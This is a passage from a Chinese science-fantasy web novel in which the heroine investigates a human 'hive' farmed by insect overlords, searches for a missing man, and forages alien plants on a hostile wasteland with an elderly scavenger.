赵宴月连玻璃罐是什么都不知道，敷衍道：“你想知道的话不如去问问‘大人’。” 巢主的目光在赵宴月身上转了一圈，哼笑一声留下一句：“外来的人总是这么不知道天高地厚。” 虽然舒依凡将之前在蜂巢里的生活称作苦日子，但蜂巢里的房间并不破烂简陋，甚至和天市星的中高档居民区没差。 唯一不同的，就是里面有个奇奇怪怪的，看着像是用来拍摄头部X光片的高端仪器。 赵宴月稍微观察了一番室内的环境，隔壁此时突然传来了一阵痛苦的呻吟声，还有混杂着不少物品噼噼啪啪掉落到地上的声响。 摸了摸有些饿的肚子，赵宴月决定在解决自己的温饱问题前，先去关心一下邻居——主要是打探一下消息。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 隔壁传来的痛苦呻吟和物品摔落声却越发清晰, 如同钝器般一下下敲打着金属墙壁。 赵宴月循声来到4-124室门口，虚掩的门里透出一线昏黄的光线，她抬手轻轻一推, 门便无声地向内滑开。 一个约莫四十多岁、瘦得几乎只剩骨架的男人正蜷缩在在冰冷的金属床板上, 他双手死死抱着脑袋，喉咙里挤压出断断续续的呜咽。 疼痛让他的身体不受控制地在床上翻滚, 每一次撞击到床板上都发出砰砰的闷响。 一个同样面黄肌瘦的女人站在床边，脸上满是焦急和担忧，看到有人推门进来时吓了一跳。 赵宴月为自己非法入室的行为找了个理由, 张嘴就是胡说八道：“你好，医生。” 女人目光茫然了一瞬, 但赵宴月没有给她思考的时间，立马询问道：“他怎么了？” 这句话仿佛瞬间击溃了女人强撑的堤坝，瞬间便顾不得其他了。 她像是找到了倾诉对象般眼眶一红：“脑袋的老毛病了, 疼起来就要命, 没有花蜜只能这样硬熬着，很多人都这样。” 赵宴月眸光一凝, 没有再追问什么，而是先几步走到了床边。 男人枯瘦的手臂还在空中痛苦地挥舞, 赵宴月随手一按便像是按住了一只孱弱的雏鸟般, 轻易地将男人固定在冰冷的床板上。 她精神力所剩不多, 只能尝试性地将精神力送进了他的脑袋。 ——结果男人的精神海屏障薄得如同一张脆弱的纸, 仅仅是一丝用来探路的精神力便轻而易举地突破了男人的精神海屏障。 这种水平的精神海屏障, 赵宴月估计也就是个E级F级，在三垣星系会被划入普通人的范畴。 狭小的精神海不过五六十平米，一眼就看到了头，里面充斥翻滚的黑雾。 赵宴月将里面的黑雾清理干净后, 床上男人紧绷的身体骤然一松，停止了剧烈的抽搐，只剩下脱力昏迷后有些沉重的呼吸。 女人只看到她只是将手往自己丈夫头上按了按，似乎就带走了所有的痛苦，顿时惊讶地倒吸了一口气。 赵宴月收回手，很自来熟地扯过一把椅子坐了下来，然后往自己身边的椅子看了一眼，示意女人也坐。 女人如梦初醒，关于她怎么治好的人也不敢多问，只是慌忙用袖子擦去脸上的泪水，目光充斥着一丝丝感激。 “虫族……我是说那些大人平时都不来蜂巢，他是怎么被污染的？” 女人听到“污染”并没有表现出疑惑，明显也是知道自己丈夫的头疼的源头就是虫族散发的污染。 “之前荒原上的怪物攻进了我们这一幢蜂巢，将领大人过来斩杀怪物的时候……” 她的话还没说完，赵宴月便心中了然。 S级王虫叫做父亲大人，B级虫族就叫大人，那么这个将领大人指的应该就是A级虫族了。 A级虫族的污染对精神海等级只有E级F级的人来说，那确实污染值从0涨到100%只需要一瞬间。 结合只有一半的人能构建出D级及以上精神海来看，这幢楼里像男人这样精神海完全被污染的普通人数量应该并不少。 “你说的花蜜可以治疗他这病吗？” 女人摇了摇头，眼神黯淡了下去：“我也是听说的，花蜜可以缓解发病时的头疼，但是那种稀缺东西哪里是我们能拿得到的，也就……” 她的话音未落，门外一阵脚步和金属拖拽的哗啦声由远及近。 一个穿着灰色工装的男人推着一辆沉重的金属推车出现在了门口，推车上堆满了一支支营养剂，底层还摞着一堆堆玻璃罐子。 这些罐子里的内容物呈现出了不同的状态，有的里面是浓郁得化不开的乳白色雾气，有的则稀薄得几乎透明。 男人扫了一眼屋内的情况又不感兴趣地移开，拿出一支营养剂“啪”地一声放到门边的柜子上：“W12，J902，这是你们今天的营养剂份额。” 他丢下一句话后便推着车前往下一户，金属轮子碾过地面，发出有些刺耳的摩擦声。 女人像是被那“啪”的一声惊醒，急步走上前一把抓起那支冰冷的营养剂，就像是攥住了一根救命稻草。 她打开营养剂，将粘稠的糊糊小心翼翼地倒进两个杯子里，然后又接了一大杯自来水搅了搅。 好像这样就能让营养剂看起来更多一点，能支撑得更久一点。 赵宴月看着她近乎虔诚的动作，眉头微蹙：“就发这么点？除了营养剂你们没有其他食物来源了吗？” 女人搅拌的动作顿了一下，视线在那个像是拍X光片的仪器上扫过一眼，又像是被刺到了一般迅速缩回。 “这里只有大人给的营养剂能吃，营养剂发多少是根据每天上交的玻璃罐质量定的，我们都只能提供一些品质低劣的玻璃罐。” 赵宴月的目光也看了过去，停留在看着很精密的仪器上。 这个仪器应该就是抽取精神力的装置，精神力按理来说应该是无影无形的，经过这个装置后似乎被压缩成了白色的雾气。 看到女人的表现，不难猜到这个抽精神力的过程应该并不会太好受。 果然，女人此时开了口，语气中带着点向往：“听说住在青晶宫里的都是特殊的精神海，他们可以直接被父亲大人采撷，过程一点也不痛苦。” 她说到这又像想起什么似的，朝门外努了努嘴，眼中带着一丝不易察觉的复杂情绪。 “我说这里没有其他食物是真的，斜对门那个老疯子，好像叫隗山木，天天跑到外面的荒原里挖些草根树皮回来捣鼓，不仅手被怪物咬断了一条，现在也没弄出什么名堂来。” 赵宴月顺着她示意的方向看去，斜对面4-121室的大门紧闭着，隐隐约约看见窗台后几个歪歪扭扭的容器里似乎种了点盆栽。 房间里看不出有人还是没人，赵宴月收回视线又问道：“你在这生活多久了？有听说过一个叫许奕的人吗？” “我一直都生活在这里，往上数数我家都有□□代人了。”女人似乎对她的前一个问题有些茫然，然后紧接着又摇了摇头：“没印象，大家的名字基本都是编号，如果有叫‘许奕’的人，我听过肯定会记得。” 可能是因为赵宴月治好了她丈夫的原因，女人几乎对她的问题有问必答。 但她知道的基本也都是一些关于蜂巢的事，对于外面荒原的情况一无所知。 赵宴月见状也没有多待，她离开邻居家后又去对面的4-121室敲了敲门，房间的主人果然不在家，可能如女人所说还在外面的荒原神农尝百草。 自己房间房门边的金属台上不仅放着花蜜，甚至还有几颗C级晶源。 ——可能它们也知道契约灵兽死亡后，契约者的精神海等级也会倒退，细心到连灵兽的口粮都一起提供了。 对面4-122室的少年从窗台里探出头，盯着她疑惑道：“你没交玻璃罐为什么也会有花蜜？” 不等赵宴月说话，他又做出恍然大悟的神态：“你还没构建精神海对吧，也就那些还没构建精神海的小孩子会被无条件养着……不对啊，小孩子发的也是营养剂……所以一定是你交了玻璃罐但是我没看到。” 4-122室的少年看着唇红齿白，丝毫没有长时间食不果腹造成的面黄肌瘦，自顾自地说服了自己。 赵宴月挑了挑眉问道：“发给你的营养剂一定很多吧？” “你怎么知道？”少年撑着脸回。 “因为你长得白白胖胖的。” “这算是在夸我吗。”他歪了歪头，放弃了思考这句话到底是不是夸奖，“不过你猜错了，我产出的玻璃罐品质高，发给我的是花蜜，不是那恶心巴拉的营养剂。” 他将撑着脸的手放了下来，然后又将窗户打开，回夸道：“我看你也长得白白胖胖，精神海的品质应该也不低。” 赵宴月：“……？” 她将这句话在脑子里转了圈，终于捋清了逻辑。 精神海品质高说的应该就是精神海等级高，因为高等级精神海里的精神力足够丰盈，所以每天能产出高品质的玻璃罐。 而高品质的玻璃罐就代表着像花蜜这样更高品质的食物，等于白白胖胖。 理论成立。 赵宴月没急着往房间里走，双手环胸依靠在门边：“那很好了，我们都是高品质的食物，这听起来真是件令人骄傲的事情。” 男生根本听不出这句话里的阴阳怪气，毕竟在他的认知中这确实是一件令人骄傲的事。 只不过他听完这话，好像是想到什么好主意似的眼睛一亮。 “诶？你觉得我怎么样？我们两生的孩子有更大的概率也是个高品质的孩子，而且以我现在供给玻璃罐的产能来看，不需要多久就能竞选这一层的管理员，到时候就会有更多的花蜜了，等孩子长大又会有更更多的花蜜，之后就能用用不着的花蜜交换一些人帮我们做事，比如去荒野里摘点绵绵球回来做衣服……” 赵宴月打断了少年对未来的美好幻想，十分嫌弃道：“什么档次的小孩也配我亲自生，你和鬼生去吧。” 看着对面的门砰地一声关上，少年忧郁地叹了一口气：“被拒绝了……我明明是个潜力股才对，肯定是小孩的错。” 赵宴月关了门思索了一会儿。 隔壁邻居说她家□□代人，按照二十岁一代来看，也就是已经在蜂巢生活了快两百年。 如果第一代人是两百年前抓来的，这么短的时间就能繁衍出千万的人口，除了大家闲着没事干之外，肯定还有生存压力的原因。 反正孩子构建出精神海之前会由虫族无条件喂养，那么只要能生出一个“高品质”的孩子，一家人的口粮都不用愁了。 难怪她从踏进蜂巢开始就看见了不少小孩。 这也太省心了。 虫族只是把控住了营养剂，食物们就自发繁衍了起来，甚至还自己管理起了自己。 又是竞选管理员又是竞选巢主的，已经沉浸在自己的世界里不知天地为何物了。 再加上荒野里的未知怪物入侵蜂巢后又是虫族过来解决危机，对虫族来说它们只是在确保食物的安全，但是在食物们看来简直就是踏着七彩祥云而来的盖世英雄，口口声声都是“大人”。 蜂巢里的人类在这里繁衍了几百年，在这种环境下形成了独特的人文。 这种充满诡异的风气目前看来比三垣星系的净化师主流思想还根深蒂固。 赵宴月将刚发的花蜜到桌子上，从兜里摸出从青晶宫里顺来的花蜜喝了一口，味道并不甜腻，确实挺好喝的。 可能里面蕴含着未知的能量，一管也就三两口，但是饱腹感很强。 花蜜有没有缓解狂躁症发病头疼的作用她暂时不能实验出来，但是似乎隐隐有些加速精神力恢复的作用。 等精神力恢复到能召唤出机甲的水平后，赵宴月又出门找到了这幢蜂巢的巢主室。 巢主室比普通房间高档得多，中年男人看见她过来有些讶异，随后又笑道：“K991，你真是十分活泼好动，找我有何贵干？” “K991？” 虽然巢主没有说“请坐”，看起来不是很欢迎她，但赵宴月已经扯了把椅子坐到了巢主的对面。 她一坐下去就翘起了二郎腿，那架势看起来比巢主更像这间“巢主室”的主人，“这是我的新名字？” “当然，不管你之前叫什么，在这里你都叫K991。”巢主看着她动作，说到这一耸肩，“这都是为了方便管理。” 眼前的少女不知为何会是不需要上交玻璃罐的特例，大人也并不会和他解释原因。 虽然问她她也不说，但是巢主还挺想知道的：“所以你来找我……或许是打算用你知道的信息和我交换一些花蜜？” “不，是和你交换一些信息。” “很乐意。”巢主闻言，纡尊降贵地拿起桌上的杯子，给她倒了杯不知名干花泡的茶：“你想知道什么？” “二十年前被虫族从外面抓来的人送进了哪幢蜂巢？” 再次从她口里听到“虫族”两个字，巢主也懒得再纠正：“二十年也太久远了，我只能约摸估算个范围。” 手指敲击桌面的“笃笃笃”声一停，他掀起有些下垂的眼皮道：“或许是在编号5600-5700的培养皿里……就是蜂巢的意思。” 眼见面前的人已经陷入了思考，巢主将茶杯捧到鼻尖闭目轻嗅了一会儿，然后才浅浅啜饮一口道：“你想找人的话没有编号是找不到的，真想找就只能一户户去找了。” 赵宴月换了条腿翘二郎腿，也顺便换了个思路：“那你有听说过有什么战力很强的人吗，比如能从人类突然变身成机甲……就是变身成大人那样的人？” “多了去了，从外面抓来的人都是这种的。” 巢主语气平淡道：“这种人精神海品质高，除了用来产出玻璃罐以外，最重要的是用来配种很不错，大概率产出的二代质量会高一些。” 看见赵宴月听得直皱眉，巢主又话锋一转：“你在想什么？我的意思是我们蜂巢都是自由恋爱，不是喂春药强行配种。” 赵宴月：“……” 并没有放下心。 这么听来，如果许奕还活在某幢蜂巢里，爷爷奶奶还真可能除了她这个乖孙外还有其他乖孙。 赵宴月抬眸看向对面的男人：“这些外面的人被抓来后没有出现过暴乱吗？” 三垣星系的人不像是蜂巢里的人，他们都是契约了灵兽的高端战力，怎么会被抓来后就乖乖听话了。 “没有。” 巢主听到这个问题回答得十分斩钉截铁，几乎都没经过思考，“不管能不能‘变身’，反正不屈服的都会被饿死，连人带着他们契约的宠物一起……我已经回答了你够多的问题，现在你可以告诉我，为什么你是不需要交玻璃罐的特例了吗？” “你说这个啊。”赵宴月收起发散的思绪，老实巴交道：“因为我是从青晶宫里出来的，来蜂巢主要是为了体验生活，我不交‘玻璃罐’是因为王虫会自己来吸。” 巢主：“……” 真相竟然如此简单，原来她是能住进青晶宫的特殊精神力。 经过仪器压缩的精神力都会剥离污染，特殊精神力也会被压缩成普通的精神力，所以单独分出了一个青晶宫。 他就说大人怎么会允许有人吃它们的干饭。 一想到对面这个没事出来体验生活的小瘪犊子是青晶宫的，巢主顿时咽下了被摆了一道的不爽。 没办法，青晶宫里的人可比他一个巢主的分量重要多了，要是人在他的蜂巢里出了意外，他指定是没好果子吃。 怎么会有人从青晶宫里跑出来体验生活啊，这小瘪犊子真是闲出屁来了。 第82章 第二天清晨, 当7789蜂巢四层的管理员开始挨家挨户收取那些不同品质的玻璃罐时，也是赵宴月该去“喂食”的时间点。 B级虫族站在蜂巢的门口，看见赵宴月后便伸出手, 又打算像拎包裹一样将她提起来。 赵宴月直接闪了过去：“我记得路, 以后我自己去。” 话音未落，一道银白色的流光瞬间包裹住她的全身, 眨眼间化作线条冷硬的机甲。 银白机甲速朝天上遮天蔽日的巨大树冠驶去，在清晨微凉的空气中划出一道近乎无痕的银线。 B级虫族收回仰望的视线，头顶的触角极其细微地晃动了一下, 似乎在处理这个微小的变数。 王虫巢穴赵宴月也不是第一次来了，因为今天是第二次。 一踏进去精神海就像是变成沙漏, 精神力也如同沙漏中的细沙般稳定而持续地流失。 赵宴月一进门便下意识往水池里看去，但并没有看到王虫的身影，下一秒才发现它正在由藤蔓构筑而成的宽大王座上闭目小憩。 天上的光透过密集的树叶撒在王座上, 没有了水流的遮挡, 王虫全身上下都显露在了赵宴月的眼前。 ——看着比S级王虫更精致纤细一些，身上覆盖的衣服也不是S级王虫那种似乎是自身幻化出来的衣服。 奇异的布料看上去非丝非麻, 表面有细微的如同活水般的光华在缓慢流转。 可能是类似蜘蛛精之类的低等虫族进贡的，也可能是B级虫族做的衣服, 总之不是人类生产出的布料。 王虫在赵宴月踏进巢穴的时候就睁开了眼, 它没有起身也没有言语, 只是维持着倚靠的姿势, 视线停在赵宴月身上, 等她自己走过来。 赵宴月懒懒散散地几步走上台阶，笑眯眯地想着迟早有一天鲨了它。 外面透来的光打在她的后背上，身影在王座前的地面上投下一道长长的阴影。 随着越靠近王座，这道阴影也渐渐笼罩了王座上的王虫。 王虫随意地往后靠了靠便轻易地挣脱了阴影的覆盖, 重新沐浴在巢穴内部柔和的光晕里。 不等赵宴月主动伸出手，它已经精准地抓住了她的手腕将她拉近，下一秒纤细的触角就探了过来。 赵宴月忍耐地闭了闭眼，眼疾手快地一抓，一人一王虫顿时陷入了僵持。 时间一秒又一秒地流逝，王虫不紧不慢地从她手里将触角抽了出来，转而低下头咬住了赵宴月的食指指尖。 细微的吞咽声从它喉间传来，头顶的触角重新开始愉悦地轻微晃动。 赵宴月冷淡地垂眸看着自己被当充电宝吸，王虫咬着赵宴月的手指冷淡地和她对视。 一个面无表情地喂养，一个理所当然地进食，虽然姿态明显超出了正常社交距离，但双方都显得十分冷漠。 这次赵宴月给自己还留了差不多20%的精神力就试图抽出手，但是王虫显然无法接受今天的进食份额比昨天要少。 它一只手撑在王座扶手上微微歪了歪头，触角晃动的节奏也停滞了，另一只手则稳稳地扣着赵宴月的手腕，丝毫没有放开的意思。 看着它这幅理所当然又毫无商量余地的模样，赵宴月唇角忽然勾起一个带着明显恶意的弧度。 “真没有了，你要是真想再吸点的话也不是没有办法，你要试试吗？” 虽然问是这么问了，但是王虫还没有同意，就有根根红色的丝线缠绕上了它的身体。 可惜维持了仅仅一会儿，流转在王虫周身的猩红丝线便如同泡沫破裂般寸寸崩解。 赵宴月见状有些遗憾。 之前在秘境击杀S级王虫的时候，因为小六目前只有11阶，这个技能就有些时灵时不灵，好在失败不会浪费一天一次的技能次数。 王虫对她这突如其来的攻击行为反应很平淡，它动都没有动一下，对赵宴月这个天赋技能也并不陌生。 赵宴月只见王虫的触角稍微晃了晃，然后开口就是命令：“再来。” “……” 它说再来就再来呗。 猩红的丝线再次悄无声息地缠绕而上，这次或许是因为对方并没有抵抗的原因，技能生效了。 赵宴月当即便感受到自己的精神力开始恢复，一点点变得充盈。 比起被别人吸，果然还是吸别人爽。 只不过用在王虫身上的生机汲取很快就补满了目前能回复的精神力上限，虚弱的debuff并没能维持多久。 赵宴月重新将手指塞进王虫的嘴里，吝啬地将刚刚吸来的精神力还了一点给它，也就喂到了比昨天的份额稍多一些的程度。 王虫这次没再阻拦她离开，赵宴月当中间商赚了个盆满钵满。 ——具体表现为揣着一半的精神力进来，又揣着一半的精神力回去了。 她刚一回到蜂巢，一声沉闷却极具穿透力的巨响就传了过来，还伴随着某些金属器皿碎裂的刺耳噪音。 四层的住户见怪不怪，连扭头寻找声源的动作都懒得做，似乎对这种巨响已经习以为常。 赵宴月只见自己房间斜对面4-121室的大门已经打开，滚滚浓烟从门口和窗台里逸散出来，还带着点烧焦植物的刺鼻怪味。 房间里穿来一阵剧烈的咳嗽声，她加快脚步，顿时化身热心邻居冲进门口：“你好，需要帮忙吗？” 视线从冒着黑烟的屋内扫过，屋里面一片狼藉。 一个简易的金属实验台被炸得歪斜变形，上面散落着一些破碎的器皿和焦黑的植物残骸。 一个头发乱糟糟如同鸟窝，顶着一脸黑灰的老人瘫坐在地上，一只手臂只剩半截，另一只完好的手臂皮开肉绽又鲜血淋漓。 看起来在爆炸发生时下意识用完好的右臂挡了挡，不少金属碎片残留在伤口里，伤口边缘还有烧灼的痕迹，滋啦作响。 隗山木用浑浊的眼睛看了来人一眼，然后声音嘶哑地慢吞吞回答道：“需要，医疗箱在桌子下面。” 赵宴月踮起脚避开地上的碎片和不明液体，拿到医疗箱后蹲下身，用镊子帮老人夹出手臂上的碎片。 她手上的动作行云流水，嘴巴也没闲着：“您老人家怎么煮点草还煮爆炸了。” “‘荧光鬼伞’怎么能是一般的草。” 隗山木被她虽然利落但力道并不轻的动作痛得脸上肌肉一抽，一提到这些草顿时像是屏蔽了疼痛一样口若悬河起来。 “这是一种寄生在噬铁藤根部的发光菌类，我在提炼它的孢子囊液，想看看里面的成分能不能被食用……咳咳……谁知道这玩意儿在密闭容器里加热会爆炸。” 他说到这，脸上全是痛心疾首：“全毁了，好不容易避开那些异形怪收集到的样本。” “您对这个星球上的植物很了解？”赵宴月一边顺着他的话继续问，一边开始进行消毒和包扎。 “这个星球，听这话……你是从外面来的？” 隗山木看着她包扎，继续道：“说不上什么了解不了解，我出生在这里，每天除了填满那个玻璃罐就只剩下吃喝拉撒，总得给自己找点事做。” 这话听着随意，但研究外面荒原上的植物能不能吃这件事，在赵宴月看来倒像是对“玻璃罐制度”做出的反抗。 如果能多出除了营养剂外其他的食物来源，那生存所需的食物至少脱离了被虫族垄断的状态，蜂巢里的人就可以自己“饲养”自己。 虫族因为污染的原因并不会轻易接触蜂巢里的“食物”，毕竟一旦食物大面积被污染，在狂躁症折磨下哪还有闲工夫去繁衍。 “荒原上的那些植物没有一种可以食用的吗？”赵宴月问道。 “不敢说全部，至少我已经试过的几百种都不行。” 隗山木浑浊的眼睛看向架子上一瓶瓶的植物残骸，眼神中流露出点专注的光芒，但声音却带着隐隐的疲惫：“腐光苔的汁液有微弱的麻痹效果，泣血藤的根茎富含铁质，但吃了会肠穿肚烂，星芒草的花粉能短暂提神，但会诱发幻觉……总之不是有毒就是成分对人类毫无营养。” 赵宴月的目光也跟着扫过木架，最后停在地上的植物残骸上，被几片未被完全烧毁的植物引起了注意。 它们形似扭曲的鹿角，通体覆盖着仿佛金属结晶般的致密鳞片，边缘看着异常锋利，在昏暗光线下泛着微光。 鳞片表面还布满了细微的如同天然蚀刻般的复杂纹路，不像是普通植物，像是秘境里的灵植。 赵宴月脑子中灵光一闪，问道：“这是什么？” “星屑荆棘。”隗山木望去一眼，又不太在意地收回视线：“长在一种冒蓝光的矿石边，或者说是这种蓝晶矿上生长出来的，硬得要死，非常难采，这玩意儿也根本不能吃。” 如果这是灵植的话，人确实不能吃，而且这玩意儿赵宴月看一眼就觉得不能吃，也亏隗山木会拿来做实验。 根据《灵兽进化材料学》的理论来看，一般具有这种独特的“晶体状鳞片”结构的灵植经常被用作拥有甲壳类灵兽的进化材料。 根据《灵植伴生矿物属性学》来看，生在在矿物上的灵植通常会拥有坚硬、稳定的属性，会是防御类技能灵兽的进化材料。 得亏她之前的书没白背，所以有没有一种可能，这会是善鳄龟的进化材料。 虽然善鳄龟是秘藏灵兽，但是它的历代主人都是联邦富豪榜上有名的人物，关于研究善鳄龟进化链工程师团队的投资绝对不会少。 那么多顶尖工程师组建出的研究团队一两百年都没能研究出个所以然来，指定是有哪个环节出了问题。 毕竟也没见其他秘藏灵兽的进化链这么难研究。 或许真如松教授所说，想研究灵兽进化链也需要一点运气——比如善鳄龟的进化材料没生长在秘境里，而是长在了另外的星球上。 不过眼前的星屑荆棘都已经废掉了，赵宴月收回思绪，将隗山木的手臂彻底包扎好，开口道：“您刚才说的这些植物都很特别。” “怎么说？” “特别到都不需要做实验，我看一眼就觉得不能吃。” 隗山木：“…………？” 赵宴月吃了这么多年的饭，实不相瞒，她觉得自己对能吃的植物都有特殊的感觉。 至少她在看见星屑荆棘的时候，绝对不会觉得这是可以吃的东西。 “这样，您告诉我这些星屑荆棘生长在哪里，我去荒原上顺便采点我觉得能吃的植物回来给您做实验。” “你倒是自信。” 隗山木话是这么说，但又觉得这也是个法子。 一个人的认知是受限的，这么多年都是他一个人在找可能能吃的作物，找回来也都是他觉得能吃的。 事实就是他觉得能吃的东西没有一个能吃，或许换一个人来会有不同的发现也说不定。 “我带你去就是了，免得你拿回来的花花草草我都已经试过了。” 隗山木说到这，又仔细打量了赵宴月一眼：“先说好了，荒原里有不少异形怪，要是出去一趟缺胳膊断腿了你别后悔。” “我肯定不会缺胳膊断腿。”赵宴月昂首挺胸画大饼：“您和我一起去的话，我也能保证您的安全。” 隗山木嘴角一扯，没再多说什么：“行，今天手疼，明天带你过去。” 赵宴月点头同意，她还得去编号5600-5700的蜂巢找找许奕的下落，本来也不着急。 等她离开房间，隗山木慢慢坐回了沙发上。 他看了眼星屑荆棘上的幽蓝鳞片，喃喃自语道：“要找这玩意儿干什么……明明看起来挺好吃，结果也是个不中用的。” 第83章 “请问认识一个叫许奕的人吗？大概二十年前来的。” “许奕？不知道。” “不认识。” “没听过。” “编号多少？没编号找什么人。” 冷漠、茫然、不耐烦、警惕……各种反应轮番上演。 赵宴月挨家挨户敲着门, 感觉自己像个无情的复读机。 偶尔有相对和善的住户挠挠头：“没有编号不好找，或者你知道他长什么样吗？” 赵宴月从记忆里扒拉出曾经见过的许奕年轻时的照片，简要描述了一下他的体型和样貌, 然后又补充：“现在应该四十岁出头。” 住户摇了摇头：“好像没见过, 应该不在我们蜂巢。” 夕阳给冰冷的金属蜂巢镀上一层毫无暖意的橘红，听多了一模一样回答的赵宴月呼出一口气。 今天的寻找一无所获, 但已经大致排除了八九个蜂巢，按照这个速度下去，找完100个蜂巢也不会需要太久。 第二天隗山木找上门的时候, 赵宴月正在房间里研究净化C级晶源，她感受着里面的黑色污染光点, 脑子里思考起一些有的没的。 隗山木的到来打断了赵宴月的思绪，她看了眼老人绑着绷带的手臂，体贴道：“再等几天也没事, 我不急。” 那条被炸得皮开肉绽的胳膊这么点时间肯定没恢复好, 顶多也就能勉强活动。 隗山木一哼声：“你不急我急，我倒要看看你能采点什么好东西回来。” “……” 如果说蜂巢在五环, 那众人口中的荒野大概就是七八环开外，因为蜂巢离荒野之间有还有一段距离不短的过渡带。 生物机甲的驾驶舱只有一个驾驶座, 里面的空间并不算大。 赵宴月把驾驶舱当做小型随身空间用, 放了不少零零碎碎的小物品, 即便如此, 再塞一个干瘪老头进来也绰绰有余。 机甲蹲下身后舱门便滑开, 隗山木探头往里瞅了瞅，啧啧称奇：“这就是你们那边独有的生物机甲吗，听说还要契约个什么灵兽。” 赵宴月“嗯”了一声，示意他赶紧上来：“这个星球上没有灵兽, 不然那些D级……那些能提供高品质玻璃罐的人也能契约。” “我还以为所有人都能契约。” 隗山木随便找了根绳子当做简易安全带，抓住她话里的信息化身哲学家：“这么说来不管在哪个星球上，品质低的人日子都好不到哪里去。” “那倒未必。”赵宴月启动机甲升空，“在我们天市星，能契约灵兽的契约者和不能契约的普通人各有各的活法，一些有经商头脑的普通人比契约者过得舒服潇洒多了，真要说有什么‘人上人’的话，青晶宫里的那些人放到我们星球上大概算一个。” “青晶宫？为什么？”隗山木疑惑了一下，似乎有些难以理解：“他们只不过是能被饲主亲自采撷，说到底和蜂巢里能产出高品质玻璃罐的人没什么区别，都是高品质食物而已。” “也对。”赵宴月认同道，“不过区别在于他们在我们星球上还有其他作用。” 净化师在这颗星球上确实没有在天市星有排面，毕竟他们在这的定位是“食物”。 虫族又不可能让净化师消耗精神力去给蜂巢里被污染的低品质食物做净化，所以蜂巢里的人自然也对净化师并没有多推崇。 赵宴月想到这，忽然觉得事情有些好笑。 三垣星系包括虫族在内，唯二没有对净化师“赋魅”的可能就是蜂巢里的人和对精神力不感兴趣的低等虫族了。 两人谈话间，机甲已经冲出了过渡带，一头扎入广袤而陌生的荒原。 荒原的大地上覆盖着一层似乎在搏动的厚重菌毯，菌毯上又长满了各种各样奇形怪状的草木。 扭曲的巨型藤蔓和树干如同虬结的血管般从菌毯下钻出，枝干的表面覆盖着或是鳞片或是绒毛一样的外壳，顶上还有巨大的花朵。 空气中漂浮着拳头大小的孢子，如同鬼火般闪烁着微弱的磷光，银白机甲像是一道流星在其中飞速穿梭。 隗山木指引着路线，直到前方出现一片嶙峋的黑色怪石堆，隐约有蓝幽幽的光芒从缝隙中透出。 “星屑荆棘就长在那些蓝晶矿上，小心那些噬铁藤，它们会攻击靠近的生物。” 仿佛为了印证他的话，机甲刚掠过一片相对空旷的菌毯区，脚下原本平静的地面便骤然暴起。 数条覆盖着暗沉红色绒毛的粗壮藤蔓如同巨蟒般破土而出，绒毛根根倒竖，看着像是密密麻麻的细针，带着撕裂空气的尖啸声狠狠抽向机甲。 赵宴月一看这架势，感觉这看着也像灵植。 或许是这个星球上没有灵兽的存在，所以灵植也没有了伴生灵兽，于是自己进化出了攻击性。 管它是不是，总之都囤点带回去当特产。 “坐稳了。”赵宴月操控着机甲瞬间拔升高度，十分灵巧地避开数条藤蔓的扑击，然后反手将噬铁藤拽住，粗暴地扯断成数截。 “嗤啦”一声，噬铁藤的断裂处喷溅出浓稠的带着铁锈味的墨绿色汁液。 剩余的藤蔓仿佛能感受到疼痛般剧烈扭曲，还发出了“嘶嘶”的怪响，察觉到自己打不过之后顿时如同活物般扭曲着缩回菌毯之下，消失得无影无踪。 隗山木见状刚松了口气，然后又眼睛一瞪急声提醒：“小心！异形怪！” 一波未平一波又起，十几条形似穿山甲又有点像蜥蜴的枯瘦怪物不知道从哪猛地窜了出来。 它们通体覆盖着金属甲壳，长着一口密密麻麻的锋利口器，虽然体型不大但是数量多且十分灵敏，如同跗骨之蛆般扑向机甲四处啃咬。 隗山木顿时止住了呼吸。 异形怪一直是他探索荒野时的心头大患，每次遇到总得附赠点小伤大伤，一下子见到这么一群当即一口气提到了嗓子眼。 景象晃动间，银白机甲已经一个灵巧的侧旋踢将最先扑来的异形怪踹飞，但更多的异形怪也扒拉到了机甲外壳上，锋利的爪子刮擦着金属，发出令人牙酸的噪音。 扒掉这个扔出去后另一个又扑了过来，属实令人防不胜防。 就在隗山木有些焦急之时，刹那间天色黑沉下来，无数黑红色的火球凭空凝结，如同陨石雨般瞬间砸落。 震耳欲聋的爆炸声在荒原回荡，银白机甲沐浴在冲天的火光里，扒在身上的异形怪发出了像是指甲划过黑板一样刺耳的嘶鸣声，直接被炸成焦炭纷纷掉落。 隗山木被这突如其来的大场面震得目瞪口呆，他看着漫天黑红色火焰，半晌才找回声音：“这又是什么本事？” “这也是灵兽的天赋技能。”赵宴月解释道。 她如今好歹也步入了A级契约者的行列里，这些异形怪对她来说实在称不上有多大威胁。 “……听起来灵兽可真是个好东西。” 听到有人夸，小六从精神海里跑出来坐到了赵宴月的头顶上。 它两只小小的白骨爪子抓着赵宴月的头发当安全带，看向隗山木发表表扬：“卡卡。” 隗山木：“！” 老人瞳孔地震，发现灵兽可能和他想象中的毛茸茸有点偏差。 不过看起来真是个神奇的物种，可惜他这辈子是契约不上了。 等清理完这一波异形怪后，赵宴月顺手将无法无天敢骑到她脑袋上的小六抓下来塞进了兜里，然后操控机甲稳稳落在那片闪烁着幽蓝光芒的怪石区边缘。 巨大的蓝晶矿裸露在地表上或半嵌在岩石中，散发着稳定而柔和的蓝光，在这些蓝晶矿的缝隙里生长着一丛丛星屑荆棘。 赵宴月收起机甲，而隗山木也十分专业地拿出了采集钳、小锤子和凿子等工具，顺手给赵宴月也分配了一把采集钳和一个布袋。 “好了，你现在就可以去找找你觉得‘能吃’的植物了，这蓝晶矿硬得很，星屑荆棘一时半会儿采不下来。” 隗山木一边说着，一边小心翼翼地避开星屑荆棘锋利的边缘，开始用锤子轻轻敲击蓝晶矿边缘，试图在不损伤根茎的情况下松动矿体。 “行。” 赵宴月没离隗山木太远，拎着钳子和口袋开始在周围溜达。 她的目标非常明确，专挑那些灰不溜秋其貌不扬，看着一点也不起眼的植物下手。 一丛长在湿润石缝里灰绿色草从，叶片看着肥厚多汁，拔了塞进袋子里。 几株贴着地面生长的藤蔓，结着指甲盖大小的黑色浆果，连果子带藤蔓一起扯了塞进袋子里。 岩石背阴处大片灰白色的、类似苔藓的绒状物，不管了，刮了塞进袋子里。 隗山木趁休息的间隙看了眼赵宴月采的战利品欲言又止，直到眼睁睁看着她在给岩石进行刮皮操作后，终于整张脸都皱了起来。 “你采的都是些什么玩意儿？看着像在捡垃圾。” 